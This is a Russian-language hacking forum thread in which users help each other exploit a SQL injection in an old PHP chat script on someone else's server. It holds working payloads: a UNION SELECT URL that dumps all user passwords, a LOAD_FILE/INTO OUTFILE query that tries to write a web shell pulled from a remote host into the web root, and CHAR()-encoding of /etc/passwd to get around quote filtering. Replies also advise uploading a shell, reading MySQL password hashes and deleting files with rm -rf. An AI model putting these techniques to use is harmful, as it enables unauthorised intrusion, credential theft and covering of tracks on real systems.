sql-injection

Discussion in 'Уязвимости' started by insidex, 22 Oct 2005.

  1. insidex

    insidex Elder - Старейшина

    Joined:
    13 Oct 2005
    Messages:
    32
    Likes Received:
    1
    Reputations:
    0
    Уважаемые,очень прошу помочь мне разобраться со следующей конструкцией:

    На одном сервере установлен древний php скрипт одного чата с mysql базой.
    Уязвимость заключается в скрипте редактирование профайла пользователей.Пример Запрос,типа

    http://mysite.com/chе/usrs.php?L=russia&R='%20UNION%20SELECT%20pass,null,null, null%20FROM%20%20register_user%20/*

    выдаст нам из таблицы register_user все пароли зарегестрированных пользователей. Таким образом можно узнать все данные из базы данных.

    А теперь самое интересное,как мне модифицировать запрос,чтобы я смог работать(просматривать) файлы на сервере.Буду очень благодарен!
     
    #1 insidex, 22 Oct 2005
    Last edited: 24 Oct 2005
  2. virgoz

    virgoz Elder - Старейшина

    Joined:
    16 Sep 2004
    Messages:
    151
    Likes Received:
    28
    Reputations:
    15
    Вот так, если у тебя хватит прав:
    /etc/passwd заменяй, на нужный файл.
     
  3. insidex

    insidex Elder - Старейшина

    Joined:
    13 Oct 2005
    Messages:
    32
    Likes Received:
    1
    Reputations:
    0
    Спасибо за помощь! Очень помог!!!! Кста как ты правильно первый файл указал)))


    p.s. please change your last post (address)

    И еще один вопрос: возможно ли получить список файлов в какой-либо директории при помощи данной injection (права позволяют)
     
    #3 insidex, 24 Oct 2005
    Last edited: 24 Oct 2005
  4. virgoz

    virgoz Elder - Старейшина

    Joined:
    16 Sep 2004
    Messages:
    151
    Likes Received:
    28
    Reputations:
    15
    Нет, читать содержимое директорий не получится.
    Но если тебе хватает прав на чтение файлов, то можешь попробовать следующие вещи:
    1. Залить шелл:
    Дальше по анологии. Только не забудь поменять директорию, где есть права на запись.
    2. Просмотри поле mysql.user.password в таблице mysql.user.
     
  5. insidex

    insidex Elder - Старейшина

    Joined:
    13 Oct 2005
    Messages:
    32
    Likes Received:
    1
    Reputations:
    0
    Блина емое,а как очистить.удалить файл поспешно созданный на сервере? Возможно такое?Спасибо.
     
    #5 insidex, 24 Oct 2005
    Last edited: 24 Oct 2005
  6. bul666

    bul666 Banned

    Joined:
    21 Apr 2005
    Messages:
    280
    Likes Received:
    8
    Reputations:
    -1
    <? system ("rm файл"); ?> Честно говоря не помню Как в Линуксе удаление... )))))
     
  7. virgoz

    virgoz Elder - Старейшина

    Joined:
    16 Sep 2004
    Messages:
    151
    Likes Received:
    28
    Reputations:
    15
    Ну шелл залей, а потом из него, как bul666 сказал: rm -rf ./file.php
     
  8. insidex

    insidex Elder - Старейшина

    Joined:
    13 Oct 2005
    Messages:
    32
    Likes Received:
    1
    Reputations:
    0
    http://site.com/vivat.php?r=russian&R='+UNION+SELECT+LOAD_FILE('http://www.hiliv.narod.ru/shell.txt') ,null,null,null+FROM+reg_user+into+outfile+'/usr/local/www/site.com/picnic/shell.php'/*

    На месте,где указан http адрес шелла http://www.hiliv.narod.ru/shell.txt, MySql громко икает с собщением об обшибке.Думаю виной здесь двойной слеш //. Можно ли как-то сформировать в данном случае успешный запрос.Заранее Приношу извинения за назойливость и огромное спасибо.
     
  9. insidex

    insidex Elder - Старейшина

    Joined:
    13 Oct 2005
    Messages:
    32
    Likes Received:
    1
    Reputations:
    0
    Забыл написать:
    Выкидывается ошибка "MySQL error: 13 (Can't get stat of 'http:/www.hiliv.narod.ru/shell.txt'' (Errcode: 2)) "
     
  10. k1b0rg

    k1b0rg Тут может быть ваша реклама.

    Joined:
    30 Jul 2005
    Messages:
    1,182
    Likes Received:
    399
    Reputations:
    479
    тык наверное mysql ищет файл указаный loadfile у себя, а не на удаленной тачке.
     
  11. virgoz

    virgoz Elder - Старейшина

    Joined:
    16 Sep 2004
    Messages:
    151
    Likes Received:
    28
    Reputations:
    15
    insidex, LOAD_FILE('http://www.hiliv.narod.ru/shell.txt') так нельзя, можно читать только локальные файлы. Также у тебя должны быть права на чтение этого файла и он не должен превышать определенного размера, установленного на сервере.
     
  12. insidex

    insidex Elder - Старейшина

    Joined:
    13 Oct 2005
    Messages:
    32
    Likes Received:
    1
    Reputations:
    0
    Спасибо за информацию! Ну тогла скажите,возможно ли записать через эту уязвимость в файл на сервере то,что у k1b0rg в подписи:)
     
  13. virgoz

    virgoz Elder - Старейшина

    Joined:
    16 Sep 2004
    Messages:
    151
    Likes Received:
    28
    Reputations:
    15
    А так как я тебе предлагал, не работает?
     
  14. insidex

    insidex Elder - Старейшина

    Joined:
    13 Oct 2005
    Messages:
    32
    Likes Received:
    1
    Reputations:
    0
    К сожалению нет,пишет зараза:
    MySQL error: 1267 (Illegal mix of collations (utf8_general_ci,IMPLICIT) and (cp1251_general_ci,COERCIBLE) for operation 'UNION')
     
  15. Yuryus

    Yuryus New Member

    Joined:
    9 May 2006
    Messages:
    13
    Likes Received:
    2
    Reputations:
    2
    Подскажите Ньюбу
    Есть инъекция. Хочу сформировать запрос на заливку шела.
    Кавычки не прокатывают. Хочу использовать функцию Char.
    Внимание вопрос. Есть ли какой то простой вариант приобразовывать строку в Char символы?
    Т.е. В виде примера ('/etc/passwd') в строку типа ,(char(47,101,116,99,47,112,97,115,115,119,100))
    соответственно хочется конвертить свою строку.
    Заранее спасиба.
     
    1 person likes this.
  16. +toxa+

    +toxa+ Smack! SMACK!!!

    Joined:
    16 Jan 2005
    Messages:
    1,674
    Likes Received:
    1,029
    Reputations:
    1,228
    http://quest.antichat.net/code.php

    мм....?
     
    _________________________
  17. Yuryus

    Yuryus New Member

    Joined:
    9 May 2006
    Messages:
    13
    Likes Received:
    2
    Reputations:
    2